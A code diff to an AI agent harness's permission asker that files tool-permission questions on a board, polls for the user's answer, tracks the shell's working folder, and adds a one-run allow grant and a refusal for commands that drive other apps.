export const drivesAnotherApp = (command) => CLICK_AND_SCREEN_WORD.test(String(command ?? ""));
|
|
575
|
+
|
|
332
576
|
/** Build the asker for one run.
|
|
333
577
|
*
|
|
334
578
|
* `ask({ toolName, input, signal })` resolves to `{behavior: "allow"}` or
|
|
@@ -340,30 +584,60 @@ const sleepFor = (ms, signal) =>
|
|
|
340
584
|
*
|
|
341
585
|
* folder the run's linked folder (memory is per folder; its basename is
|
|
342
586
|
* the "<folder>" in the options)
|
|
587
|
+
* cwd the folder the run's commands run in, when it is not the linked
|
|
588
|
+
* folder itself (a worktree); the default base for a command's paths
|
|
589
|
+
* boardId the run's board, for both the ask and answer lookup
|
|
343
590
|
* session the run's board session ({key}), so the question lands on its idea
|
|
344
591
|
* fromId the idea the run belongs to
|
|
345
592
|
* poll the run's answer poll, so the permission question's answer is
|
|
346
593
|
* not also typed into the conversation (`claim`)
|
|
347
594
|
*/
|
|
348
595
|
export function createPermissionAsker({
|
|
349
|
-
folder, session, fromId, env, callTool = hostedCallTool, poll, log = () => {}, pollMs = 2000,
|
|
596
|
+
folder, cwd, session, boardId, fromId, env, callTool = hostedCallTool, poll, log = () => {}, pollMs = 2000,
|
|
350
597
|
}) {
|
|
351
598
|
const folderName = basename(folder) || folder;
|
|
352
|
-
const
|
|
599
|
+
const scopedCallTool = (name, args, options) => callTool(name, args, { ...options, sessionBoardId: boardId });
|
|
600
|
+
// Where Claude's shell is now (#3801): the run's folder until a `cd` moves it.
|
|
601
|
+
let shell = { cwd, unknown: false };
|
|
602
|
+
// "Allow for this run" (#4105): set once, for this asker only, so it ends
|
|
603
|
+
// with the run and is never written anywhere. Aborting `runAllowed` frees a
|
|
604
|
+
// second command's ask that was waiting beside the one answered.
|
|
605
|
+
const runAllowed = new AbortController();
|
|
606
|
+
const coveredByRun = (toolName, question) => !question && toolName === "Bash" && runAllowed.signal.aborted;
|
|
607
|
+
const ask = async ({ toolName, input: asked = {}, signal, question }) => {
|
|
353
608
|
if (signal?.aborted) return null;
|
|
609
|
+
if (!question && toolName === "Bash" && drivesAnotherApp(asked.command)) {
|
|
610
|
+
log("permission: a command that drives another app is refused (#4204)");
|
|
611
|
+
return { behavior: "deny", message: CLICK_AND_SCREEN_DENIED };
|
|
612
|
+
}
|
|
613
|
+
// A Claude command carries no working folder: it runs in the shell the run
|
|
614
|
+
// started in (a worktree, not the linked folder itself) and wherever its
|
|
615
|
+
// allowed `cd`s moved it, so its paths and links are judged there (#3759,
|
|
616
|
+
// #3801). Codex sends its own.
|
|
617
|
+
const tracked = toolName === "Bash" && asked.cwd === undefined;
|
|
618
|
+
if (tracked && shell.moved && !shell.unknown && !isDirectory(shell.cwd)) shell = { ...shell, unknown: true }; // the cd did not land
|
|
619
|
+
const input = tracked && (shell.unknown || shell.cwd) ? { ...asked, ...(shell.unknown ? { cwdUnknown: true } : { cwd: shell.cwd }) } : asked;
|
|
620
|
+
const allow = () => {
|
|
621
|
+
if (tracked) shell = shellAfter(input.command, shell, folder);
|
|
622
|
+
return { behavior: "allow" };
|
|
623
|
+
};
|
|
624
|
+
if (coveredByRun(toolName, question)) {
|
|
625
|
+
log(`permission: ${ruleKeyFor(toolName, input, folder)} is allowed in ${folderName} for this run, no question filed`);
|
|
626
|
+
return allow();
|
|
627
|
+
}
|
|
354
628
|
// Protocol questions are exact, per-call choices. They never consult or
|
|
355
629
|
// write the folder's remembered permission rules.
|
|
356
630
|
const remembered = question ? [] : await readRules(env, folder);
|
|
357
631
|
if (signal?.aborted) return null;
|
|
358
|
-
if (!question && ruleCovers(remembered, toolName, input)) {
|
|
359
|
-
log(`permission: ${ruleKeyFor(toolName, input)} is allowed in ${folderName} (remembered), no question filed`);
|
|
360
|
-
return
|
|
632
|
+
if (!question && ruleCovers(remembered, toolName, input, folder)) {
|
|
633
|
+
log(`permission: ${ruleKeyFor(toolName, input, folder)} is allowed in ${folderName} (remembered), no question filed`);
|
|
634
|
+
return allow();
|
|
361
635
|
}
|
|
362
|
-
const q = question ?? questionFor({ toolName, input, folder });
|
|
636
|
+
const q = question ?? questionFor({ toolName, input, folder, base: cwd });
|
|
363
637
|
const filed = await askUserOnBoard(
|
|
364
638
|
session, q.question,
|
|
365
639
|
{ why: q.why, fromId, options: q.options, recommendation: q.recommendation, purpose: "permission" },
|
|
366
|
-
{ callTool, env },
|
|
640
|
+
{ callTool: scopedCallTool, env },
|
|
367
641
|
);
|
|
368
642
|
if (!filed.ok || !filed.questionId) {
|
|
369
643
|
log(`permission: could not file the question (${filed.detail ?? "no id"}); denying`);
|
|
@@ -374,20 +648,28 @@ export function createPermissionAsker({
|
|
|
374
648
|
poll?.claim?.(filed.questionId);
|
|
375
649
|
if (signal?.aborted) return null;
|
|
376
650
|
let failures = 0;
|
|
651
|
+
// Stop and the wall clock still end the wait; "Allow for this run" given
|
|
652
|
+
// on another ask only cuts it short.
|
|
653
|
+
const waitSignal = question || toolName !== "Bash" ? signal : signal ? AbortSignal.any([signal, runAllowed.signal]) : runAllowed.signal;
|
|
377
654
|
for (;;) {
|
|
378
655
|
if (signal?.aborted) return null;
|
|
656
|
+
if (coveredByRun(toolName, question)) {
|
|
657
|
+
log(`permission: ${ruleKeyFor(toolName, input, folder)} is allowed in ${folderName} for this run (answered on another question)`);
|
|
658
|
+
return allow();
|
|
659
|
+
}
|
|
379
660
|
const started = Date.now();
|
|
380
661
|
let outcome;
|
|
381
662
|
try {
|
|
382
663
|
// Match board-mcp's 50s maximum. The transport must outlive the held
|
|
383
664
|
// call; Stop and the run's wall clock still cancel it via signal.
|
|
384
|
-
outcome = await
|
|
385
|
-
sessionKey: session.key, env, timeoutMs: 60_000, signal,
|
|
665
|
+
outcome = await scopedCallTool("check_answer", { question_id: filed.questionId, wait_s: 50 }, {
|
|
666
|
+
sessionKey: session.key, env, timeoutMs: 60_000, signal: waitSignal,
|
|
386
667
|
});
|
|
387
668
|
} catch (error) {
|
|
388
669
|
outcome = { isError: true, text: error instanceof Error ? error.message : String(error) };
|
|
389
670
|
}
|
|
390
671
|
if (signal?.aborted) return null;
|
|
672
|
+
if (coveredByRun(toolName, question)) continue;
|
|
391
673
|
if (outcome.isError) {
|
|
392
674
|
// A blip is not an answer. Keep waiting; say so once.
|
|
393
675
|
if (failures++ === 0) log(`permission: check_answer failed (${oneLine(outcome.text, 120)}); still waiting`);
|
|
@@ -398,20 +680,21 @@ export function createPermissionAsker({
|
|
|
398
680
|
if (question) return answer.state === "gone"
|
|
399
681
|
? { behavior: "cancel" }
|
|
400
682
|
: { behavior: "answer", answer: answer.decision };
|
|
401
|
-
const verdict = verdictFor(answer, folderName);
|
|
683
|
+
const verdict = verdictFor(answer, folderName, q.options.find((o) => o.startsWith("Always allow")) ?? null, { runOffered: q.options.includes(ALLOW_RUN) });
|
|
684
|
+
if (verdict.forRun) runAllowed.abort();
|
|
402
685
|
if (verdict.remember && !rememberable(toolName, input)) log("permission: this grant names no scope, so it is allowed once and not remembered");
|
|
403
686
|
else if (verdict.remember) {
|
|
404
|
-
try { await rememberRule(env, folder, ruleKeyFor(toolName, input)); }
|
|
687
|
+
try { await rememberRule(env, folder, ruleKeyFor(toolName, input, folder)); }
|
|
405
688
|
catch (error) { log(`permission: could not save the rule (${error?.message ?? error}); allowing this once`); }
|
|
406
689
|
}
|
|
407
|
-
log(`permission: ${verdict.behavior} for ${ruleKeyFor(toolName, input)}${verdict.remember ? " and remembered for " + folderName : ""}`);
|
|
408
|
-
return verdict.behavior === "allow" ?
|
|
690
|
+
log(`permission: ${verdict.behavior} for ${ruleKeyFor(toolName, input, folder)}${verdict.remember ? " and remembered for " + folderName : verdict.forRun ? " and every later command of this run" : ""}`);
|
|
691
|
+
return verdict.behavior === "allow" ? allow() : { behavior: "deny", message: verdict.message };
|
|
409
692
|
}
|
|
410
693
|
}
|
|
411
694
|
// Renew a completed wait immediately. Back off after errors or an
|
|
412
695
|
// older endpoint that returns at once, rather than spinning.
|
|
413
696
|
const delay = outcome.isError ? pollMs : Math.max(0, pollMs - (Date.now() - started));
|
|
414
|
-
if (delay > 0) await sleepFor(delay,
|
|
697
|
+
if (delay > 0) await sleepFor(delay, waitSignal);
|
|
415
698
|
}
|
|
416
699
|
};
|
|
417
700
|
return ask;
|